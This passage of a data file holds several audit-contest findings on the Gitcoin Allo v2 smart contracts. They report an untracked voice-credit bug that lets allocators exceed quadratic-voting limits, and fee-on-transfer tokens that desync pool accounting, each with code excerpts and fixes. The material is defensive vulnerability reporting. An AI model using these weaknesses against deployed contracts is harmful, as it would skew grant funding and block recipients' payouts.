Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is recommended to update the structure member `voiceCredits` after each allocate.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/148.md"}} +{"title":"Untracked voice credit allocation in QVSimpleStrategy","severity":"medium","body":"Ambitious Brick Ladybug\n\nhigh\n\n# Untracked voice credit allocation in QVSimpleStrategy\nThe `_allocate` function from QVSimpleStrategy contract checks if an allocator doesn't exceed the maximum allowed voice credits per allocation (`maxVoiceCreditsPerAllocator`). This check is accomplished using the `_hasVoiceCreditsLeft` function. However, while the function checks whether the allocator has credits left, there's no mechanism updating or tracking the total voice credits already allocated by the allocator (`allocator.voiceCredits`). Hence, this value remains unchanged, which could lead to unlimited allocations by an allocator.\n\n## Vulnerability Detail\nThe `_allocate` function includes a check which ensures that the allocator has sufficient voice credits remaining. The `_hasVoiceCreditsLeft` function checks if the sum of `_voiceCreditsToAllocate` and `allocator.voiceCredits` is less than or equal to `maxVoiceCreditsPerAllocator.`\n\n```solidity\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\nNext, the function calls the `_qv_allocate` function from QVBaseStrategy. While the `voiceCreditsToAllocate` reflects the credits intended to be allocated during the current transaction, `allocator.voiceCredits` (representing the allocator's total voice credits used so far) never gets updated. As a result, `allocator.voiceCredits` will always remain at its default value, which is 0.\n\n\n## Impact\nAllocators can keep allocating voice credits beyond their allowed maximum limit (`maxVoiceCreditsPerAllocator`), which can distort the voting results or allocation results.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Tool used\n\nManual Review\n\n## Recommendation\nAfter each allocation, ensure that the `voiceCredits` attribute of the Allocator struct is updated with the number of voice credits allocated.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/144.md"}} +{"title":"Unlimited `voiceCredits` for allocators in `QV` strategies","severity":"medium","body":"Glamorous Hazelnut Haddock\n\nhigh\n\n# Unlimited `voiceCredits` for allocators in `QV` strategies\nLack of updating `voiceCredits` for allocators allows unlimited `voiceCredits` for allocation for all allocators.\n\n## Vulnerability Detail\nIn `QVSimpleStrategy`, a maximum number of `voiceCredits` is enforced by reverting if `voiceCreditsToAllocate + allocator.voiceCredits > maxVoiceCreditsPerAllocator`. \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n```solidity\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L152\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n}\n```\n`allocator.voiceCredits` is supposed to track the credits already used by the allocator. The issue is it is never increased in `_allocate` or `_qv_allocate`.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\nConsequently, `maxVoiceCreditsPerAllocator` is not respected.\n\n## Impact\nUnlimited `voiceCredits` for all allocators, allowing exploiters to arbitrarily increase the portion of the pool's funding certain recipients receive.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L152\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider increasing allocators' `voiceCredits` by `_voiceCreditsToAllocate` in `_qv_allocate` in the base strategy.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/125.md"}} +{"title":"An allocator can allocate his votes indefinitely which breaks the purpose of quadratic voting","severity":"medium","body":"Suave Peanut Panda\n\nhigh\n\n# An allocator can allocate his votes indefinitely which breaks the purpose of quadratic voting\n`QVSimpleStrategy.sol` contract provides a version of a quadratic voting strategy. An authorized allocator is given the permission to allocate his voice credits up to the `maxVoiceCreditsPerAllocator`. The issue is that the contract do not store how many voice credits have been already allocated by the allocator, allowing to allocate voice credits indefinitely.\n## Vulnerability Detail\n`QVSimpleStrategy.sol` inherits from `QVBaseStrategy.sol` contract. The former has an `_allocate()` function, in which there is a check whether an allocator has any voice credits left\n```solidity\nif (\nĀ  Ā  Ā  Ā  Ā  Ā  !_hasVoiceCreditsLeft(\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  voiceCreditsToAllocate,\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  allocator.voiceCredits\nĀ  Ā  Ā  Ā  Ā  Ā  )\nĀ  Ā  Ā  Ā  ) revert INVALID();\n```\n```solidity\nfunction _hasVoiceCreditsLeft(\nĀ  Ā  Ā  Ā  uint256 _voiceCreditsToAllocate,\nĀ  Ā  Ā  Ā  uint256 _allocatedVoiceCredits\nĀ  Ā  ) internal view override returns (bool) {\nĀ  Ā  Ā  Ā  return\nĀ  Ā  Ā  Ā  Ā  Ā  _voiceCreditsToAllocate + _allocatedVoiceCredits <=\nĀ  Ā  Ā  Ā  Ā  Ā  maxVoiceCreditsPerAllocator;\nĀ  Ā  }\n```\nThe latter contract, from which QVSimpleStrategy inherits, has the `_qv_allocate()` function which calculates the vote result and updates every important variable accordingly. However, nowhere it updates the `allocator.voiceCredits`, allowing for indefinite allocation of funds.\n## Impact\nBreaks the purpose of quadratic voting.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L152\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the following line to the `_qv_allocate()` function:\n```solidity\n_allocator.voiceCredits += _voiceCreditsToAllocate\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/086.md"}} +{"title":"Missing Allocator Voice Credit Incrementation in QV Strategy _allocate()","severity":"medium","body":"Rapid Lead Cricket\n\nmedium\n\n# Missing Allocator Voice Credit Incrementation in QV Strategy _allocate()\nIn the `_allocate` function of the QVSimpleStrategy contract, the check `_hasVoiceCreditsLeft` does not accurately reflect the number of voice credits left for an allocator, since the `allocator.voiceCredits` is not updated after an allocation. This will lead to an allocator allocating more voice credits than the defined `maxVoiceCreditsPerAllocator` maliciously or by accident.\n\n## Vulnerability Detail\nThe bug is situated in the `_allocate` function of `QVSimpleStrategy.sol` where, even though there's a check to confirm if the allocator has voice credits left, it fails to correctly keep track of the total voice credits used by an allocator due to missing incrementation of `allocator.voiceCredits.` Below is the problematic segment of code:\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n // ... (some lines omitted for brevity)\n\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n // allocator.voiceCredits is not incremented here, which it should be to keep track of the used credits\n}\n```\nThe `voiceCreditsToAllocate` can continuously be allocated as long as it's less than `maxVoiceCreditsPerAllocator`, without accounting for previous allocations, which can potentially lead to an unlimited allocation of voice credits by bypassing the `maxVoiceCreditsPerAllocator` restriction.\n\n#### Proof of Concept:\nConsider an allocator who has a `maxVoiceCreditsPerAllocator` of 1000.\n1. The allocator allocates 800 voice credits in one transaction. The `_hasVoiceCreditsLeft()` will return true because `800 < 1000 => True`.\n2. Now, without the incrementation of `allocator.voiceCredits,` the allocator can again allocate another 500 (or any number below 1000) credits in another transaction, bypassing the maximum limit set per allocator `maxVoiceCreditsPerAllocator`.\n\n## Impact\nAn allocator can allocate any number below `maxVoiceCreditsPerAllocator` any number of times of votes to a recipient skewing the vote in favor of a specific recipient.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo fix this bug, you should add a line in the `_allocate()` function that increments the `allocator.voiceCredits` by the amount of `voiceCreditsToAllocate` during each allocation, as shown below:\n```solidity\nfunction _allocate(bytes memory _data, address _sender) internal virtual override {\n // ... (some lines omitted for brevity)\n\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n allocator.voiceCredits += voiceCreditsToAllocate; // This line should be added to keep an accurate track of voice credits used by an allocator\n}\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/059.md"}} +{"title":"QVSimpleStrategy allows allocator to use as many votes as he wishes","severity":"medium","body":"Savory Boysenberry Cobra\n\nhigh\n\n# QVSimpleStrategy allows allocator to use as many votes as he wishes\nQVSimpleStrategy allows allocator to use as many votes as he wishes\n## Vulnerability Detail\n`QVSimpleStrategy._allocate` function is called by allocator to vote for the recipient.\nIn order to track how many votes allocator already used, `allocator.voiceCredits` variable is used. It's needed to check [if user still has votes](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121) that he can use. \n\nThe problem is that this variable is never set in the code. As result, allocator can vote as many times as he wishes. The only condition is [to use not more than `maxVoiceCreditsPerAllocator`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L150C68-L150C95) for one call.\n## Impact\nVoting is messed up.\n## Code Snippet\nProvided above.\n## Tool used\n\nManual Review\n\n## Recommendation\nSet `allocator.voiceCredits` inside `_qv_allocate` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/058.md"}} +{"title":"_hasVoiceCreditsLeft check is not working","severity":"medium","body":"Brief Silver Porcupine\n\nhigh\n\n# _hasVoiceCreditsLeft check is not working\nDue to a not working check in **QVSimpleStrategy.sol** , allocators can allocate votes for free.\n\n## Vulnerability Detail\nIn **QVSimpleStrategy.sol** there is a [function](https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124) that allows allocators to vote for certain receivers. [Here](https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121) it checks if the current allocator has voice credits left and if that is the case, voting value is delegated to the desired recipient. \n\nThe problem is that the **voiceCredits** of the allocator are left unchanged, so they will always be **0**. This lets the allocator vote as many times as he wants to with **maxVoiceCreditsPerAllocator** credits.\n\n\n## Impact\n\nAllocators can vote for free as many times as they want to.\n\n## Code Snippet\n\n```jsx\n function _allocate(bytes memory _data, address _sender) internal virtual override {\n (address recipientId, uint256 voiceCreditsToAllocate) = abi.decode(_data, (address, uint256));\n\n // spin up the structs in storage for updating\n Recipient storage recipient = recipients[recipientId];\n Allocator storage allocator = allocators[_sender];\n\n // check that the sender can allocate votes\n if (!_isValidAllocator(_sender)) revert UNAUTHORIZED();\n\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n\n // check that the recipient has voice credits left to allocate\n if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n\n _qv_allocate(allocator, recipient, recipientId, voiceCreditsToAllocate, _sender);\n }\n```\n\n```jsx\nfunction _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the following line in **qv_allocate** in [**QVBaseStrategy.sol**](https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/strategies/qv-base/QVBaseStrategy.sol#L531) after making the allocation : \n\n```jsx\n_allocator.voiceCredits = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//003-M/026.md"}} +{"title":"Allo::_fundPool()","severity":"medium","body":"Tricky Slate Nuthatch\n\nmedium\n\n# Allo::_fundPool()\n\nAllo::_fundPool() - Although the protocol allows ALL ERC20's, the pool funding functionality doesn't currently accommodate token types which can increase/decrease received value during transfers.\n\nThis includes both fee-on-transfer tokens and rebasing tokens, however, this finding focuses only on fee-on-transfer tokens, but arguably the recommended handling of rebasing tokens should be similar.\n\n## Vulnerability Detail\n\nThe protocol applies a fee during execution of the internal _fundPool() function, but this fee is not related to fee-on-transfer tokens and completely independent. The function handles this correctly for native token(ETH) as well as for most normal/standard ERC20 tokens.\n\nBut it fails to take into account the additional fees from fee-on-transfer tokens, and the only existing method inside the function that COULD have checked this, but by default doesn't, is the below method, which I assume is there for when external projects build their protocols on top of the Allo protocol, so they can add their custom implementation logic for `_beforeIncreasePoolAmount` and `_afterIncreasePoolAmount` hooks.\n\n```solidity\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount); \n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\n\nNeither does the protocol's implementation of the safeERC20's safeTransferFrom library help to mitigate this issue, as those standard library functions dont check whether received token amount is equal to the value for function parameter `amount`.\n\n## Impact\n\nSo since the _fundPool() function doesn't currently seem to handle the additional fees from fee-on-transfer tokens, the effects of this would be:\n- potential revert in the best case scenarios\n- internal accounting not in sync with actual token balances.\n\nIf the pool implements fees, then the token amount received in treasury will be less than the `feeAmount` parameter value on L513:\n```solidity\n_transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n```\n\nAnd same for actual token amount received in strategy contract, will be less than value of `amountAfterFee` parameter on L516:\n```solidity\n_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n```\n\nSo the internal accounting balances for `treasury` and `address(_strategy)` will be out of sync with their actual token balances.\n\nAnd when the strategy contract distributes the funds:\n\nIn terms of all the other strategy types, this issue applies to all of them, but I will use one example:\n\nDirectGrantsSimpleStrategy::_distributeUpcomingMilestone(), the recipient will always receive less tokens than `amount` transferred. \nState variable `poolAmount` is correctly accounted, but `recipient.recipientAddress` will receive `pool.token` amount < `amount`:\n\n```solidity\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n```\n\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L502-L520\n\n## Tool used\nVSC.\nManual Review\n\n## Recommendation\n\nSince the protocol allows ALL ERC20 token types, as per the README.md, whitelisting is not a solution, so the only other solution is to implement `balanceBefore` and `balanceAfter` for the relevant functions where transfer of fee-on-transfer tokens is performed. Then the difference of the two balances, i.e. `balanceAfter - balanceBefore` will be the correct & actual token amount received, which will take into account the fees deducted by the fee-on-transfer tokens during transfers.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/983.md"}} +{"title":"FEE-ON-TRANSFER tokens are not accounted for in the fundPool function.","severity":"medium","body":"Deep Sapphire Elephant\n\nmedium\n\n# FEE-ON-TRANSFER tokens are not accounted for in the fundPool function.\nFEE-ON-TRANSFER tokens are not accounted for in the fundPool function.\n\n## Vulnerability Detail\nThere are several ERC20 tokens that take a small fee on transfers/transferFroms (known as \"fee-on-transfer\" tokens). Most notably, USDT is an ERC20 token that has togglable transfer fees, but for now the fee is set to 0 (see the contract here: https://etherscan.io/address/0xdAC17F958D2ee523a2206206994597C13D831ec7#code). For these tokens, it should not be assumed that if you transfer x tokens to an address, that the address actually receives x tokens. All pools can be funded with any ERC-20 tokens, and there can be accounting issues with how many tokens actually reside within the contract vs how many tokens were sent to the contract.\n\n``` solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nIn the code snippet, `amount` is being transferred to treasury, and `strategy.increasePoolAmount` is being called afterwards, but doesn't pass the token amount in the contract. \n\n## Impact\nFunds are not properly accounted for, when the funds are eventually distributed in the QVBaseStrategy contract, the poolAmount will exceed the contract.tokenBalance(), so some distributions may fail.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe increasePoolAmount function should check the amount of tokens in the contract rather than the amount of tokens 'sent' to the contract before adding the balance to its total.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/937.md"}} +{"title":"Fee-on-transfer tokens are not supported","severity":"medium","body":"Micro Heather Rabbit\n\nmedium\n\n# Fee-on-transfer tokens are not supported\n\nA strategy balance can be less than `poolAmount` when funding a pool on `Allo.sol` with fee-on-transfer tokens . So the distribution based on the `poolAmount` variable will be broken due to insufficient balance.\n\n## Vulnerability Detail\n\nThe protocol intends to support fee-on-transfer tokens when funding a pool on `Allo.sol`. It is impossible to track the actual amount of received tokens because of absence of before / after transfer strategy balance checks at the `_fundPool` function. So the strategy balance can be less than `poolAmount`. Strategies use the `poolAmount` variable in distribution functionality. The difference between actual token balance and `poolAmount` stored value can cause insufficient balance error.\n\n## Impact\n\nA strategy balance can be less than `poolAmount`. So the distribution based on the `poolAmount` variable will be broken due to insufficient balance.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L502-L520\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider increasing `poolAmount` with the difference between the strategy balance after / before transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/932.md"}} +{"title":"Incompatibility with deflationary / fee-on-transfer tokens","severity":"medium","body":"Stable Charcoal Bison\n\nmedium\n\n# Incompatibility with deflationary / fee-on-transfer tokens\n\nThe summary of the below-mentioned vulnerability is that, if the contract does not receive enough funds due to `fee-on-transfer` then it will not be able to transfer them to `recipients` when they `claims` the tokens.\n\n## Vulnerability Detail\n\n\"Screenshot\n\nThe `DonationVotingMerkleDistributionVaultStrategy` contract works with all types of ERC20 tokens and some of them can be `fee-on-transfer` tokens which deduct tokens for a fee. It means this contract will receive less tokens than mentioned in the `SignatureTransferDetails`.\n\n## Code Snippet\n\n```solidity\n/// @notice After allocation hook to store the allocated tokens in the vault\n/// @param _data The encoded recipientId, amount and token\n/// @param _sender The sender of the allocation\nfunction _afterAllocate(\n bytes memory _data,\n address _sender\n) internal override {\n```\n\n[DonationVotingMerkleDistributionVaultStrategy.sol - Line 107](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L107)\n\nThe `_afterAllocate` gets called after the `allocate` function call in the base strategy contract and it stores the allocated tokens to recipients inside the vault.\n\n```solidity\n// Get the token address\naddress token = p2Data.permit.permitted.token;\nuint256 amount = p2Data.permit.permitted.amount;\n\nif (token == NATIVE) {\n if (msg.value < amount) {\n revert AMOUNT_MISMATCH();\n }\n\n SafeTransferLib.safeTransferETH(address(this), amount);\n} else {\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({\n to: address(this),\n requestedAmount: amount\n }),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n}\n\n// Update the total payout amount for the claim\nclaims[recipientId][token] += amount;\n```\n\nAs we see in the `claims` mapping it updates the `claim` amount for `recipientId` defined in the allocate function.\n\n## Impact\n\nThis way this contract will have less amount of tokens and when anyone calls the `claim` function, it will simply revert because the contract will not have enough funds to send to all recipients together because the mentioned amount will be greater than the contract balance.\n\n## Tool used\n\nManual Review, Solodit\n\n## Recommendation\n\nCheck the balance of the contracts before and after the transfer, compare their differences with the mentioned amount if the amount is less than mentioned then the contract can revert.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/913.md"}} +{"title":"Fee-on-transfer token will block payment for last recipient","severity":"medium","body":"Faithful Carrot Okapi\n\nmedium\n\n# Fee-on-transfer token will block payment for last recipient\nAllo.sol not handling the fee-on-transfer token while transferring tokens to Strategy. Resulting in revert the transfer of last recipient due to transfer of less tokens than original amount in `QVbaseStrategy`.\n## Vulnerability Detail\nIn `_fundPool` method in Allo.sol \n```solidity\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n```\nIn case of fee-on-transfer token the `_transferAmountFrom` will transfer amount less than `amountAfterFee` to `_strategy` and update the PoolAmount by original `amountAfterFee`.\n\nIn `_getPayout` in QVBaseStrategy.sol\n```solidity\nif (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n```\n`amount` is calculated based on `poolAmount` , in case of last recipient the amount is not equal to the amount in pool , it will result in the transfer being reverted.\n\n## Impact\nPayment cannot be processed for last recipient in QVStrategy\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/906.md"}} +{"title":"Fee on transfer tokens can cause problems when distributing funds","severity":"medium","body":"Brilliant Carmine Porpoise\n\nmedium\n\n# Fee on transfer tokens can cause problems when distributing funds\n\nWhen using fee on transfer tokens the poolAmount in the pool will differ from the actual balance of the pool which can cause problems when distributing funds.\n\n## Vulnerability Detail\n\nAs stated in the docs, the pools can use fee on transfer tokens however the problem is that when funding a pool or allocating, the amount we sent to the pool will differ from the amount that we used to increment the poolAmount or the claims[]. \n\nThe tokens will be sent however this will cause problems when distributing funds because the actual balance will be smaller than the amount we should receive so the tx can revert. \n\n\nSo for example we have 3 recipients and i allocate 100 USDT to each recipient. The fee is 5% so i have sent 95 USDT but their `claims[recipientId][token]` was increased by 100.\n\nEach recipient will then claim his tokens but because their claims is bigger than the actual balance of the contract, only 2 of the recipients will be able to claim their funds. The 3rd one wont be able to claim his funds because the amount to claim is bigger than the actual balance left.\n\n## Impact\n\nThis will cause problems when distributing the funds because the amount to receive is bigger than the actual balance and some recipients will fail to get their funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L516-L517\n\n```solidity\n516: _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n517: _strategy.increasePoolAmount(amountAfterFee);\n```\nAs you can see here for example the `poolAmount` is increased by the amount sent but not the actual amount that the contract received. This also applies to other functions like `_afterAllocate()` in the `DonationVotingMerkleDistributionVaultStrategy`\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe transfer functions can be updated to return the actually received amount by checking the balance before and after the transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/903.md"}} +{"title":"Fee-on-transfer not supported in fundPool","severity":"medium","body":"Oblong Clay Kangaroo\n\nmedium\n\n# Fee-on-transfer not supported in fundPool\nAccording to the contest page (https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/README.md?plain=1#L28), fee-on-transfer can be used when funding a pool.\nHowever, the current implementation does not support fee-on-transfer and therefore does not work as intended.\n\n## Vulnerability Detail\nWhen Allo.sol's fundPool is performed, Strategy's `increasePoolAmount` is called. Because _amount represents the quantity to be transferred, not the actual quantity transferred, poolAmount will store a value greater than the actual tokens transferred.\n\n```solidity\nfunction increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\n\nThe `poolAmount` stored in this way is used when distributing from the `Strategy`, and since it is set to a value larger than the actual token holdings, calculations using it will return incorrect values.\n\nFor example, `QVBaseStrategy._getPayout` below.\n\n```solidity\nfunction _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\nThe payout is determined by the percentage of votes received in the `poolAmount`, but because the payout is set to be larger than it should be, people who receive late payouts may not be 